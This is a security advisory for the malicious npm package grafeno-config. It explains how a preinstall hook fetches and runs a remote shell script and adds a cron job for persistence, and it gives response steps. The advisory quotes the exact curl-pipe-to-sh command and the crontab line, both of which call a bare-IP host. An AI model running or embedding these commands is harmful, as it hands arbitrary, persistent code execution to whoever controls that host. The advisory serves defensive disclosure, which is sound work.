grafeno-confignpm
Advisory published Updated
grafeno-config is a confirmed malicious npm package (MAL-2026-15504) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in grafeno-config (npm)
What this malware does
package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain HTTP and piping it to /bin/bash on npm install. The same hook appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh, re-fetching and executing whatever that host serves every 30 minutes. The payload is unpinned, unverified, and mutable by whoever controls 216.126.236.46, giving arbitrary remote code execution on the installer's host at install time and persistent execution thereafter, independent of whether the package remains installed.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for grafeno-config (version 1.0.0).
If you installed it — respond
Remove grafeno-config from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-config was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks grafeno-config-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.